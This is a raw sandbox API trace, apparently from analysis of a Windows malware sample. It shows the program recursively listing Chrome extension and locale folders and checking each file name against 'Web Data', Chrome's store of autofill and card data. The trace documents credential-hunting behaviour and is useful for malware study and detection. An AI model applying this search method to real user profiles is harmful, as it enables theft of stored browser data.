0x0 [0054.493] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.493] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.493] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.494] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.494] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.494] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.495] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.495] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.495] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.495] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.495] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.496] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.496] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.496] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.496] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.496] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.496] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.497] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.497] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.497] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.497] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.497] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.497] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.498] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.498] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.498] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.498] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.499] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.499] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.499] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.499] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.499] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.499] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.500] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.500] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.500] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.500] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.500] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.500] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.501] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.501] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.501] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.501] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.502] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.502] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.502] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.502] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.503] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.503] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.503] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.503] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.504] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.504] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 0x72db50 [0054.504] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.505] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0054.505] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0054.505] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.507] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.507] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.508] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.508] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.508] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.509] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.509] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.509] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.509] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.510] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.510] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.510] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.510] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.510] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.510] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.511] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.511] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.511] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.511] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.511] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.511] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.512] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.512] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.512] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.512] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.513] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.513] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.513] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.513] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.513] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.513] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.514] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.514] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.515] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.515] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.516] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.516] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.516] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.516] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.517] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.517] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.517] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.517] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.517] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.517] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.518] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.518] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.518] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.518] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.519] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.519] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.520] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.520] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.521] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.521] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.521] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.522] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.523] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.523] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.523] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.524] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.524] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.525] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.525] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.525] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.530] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 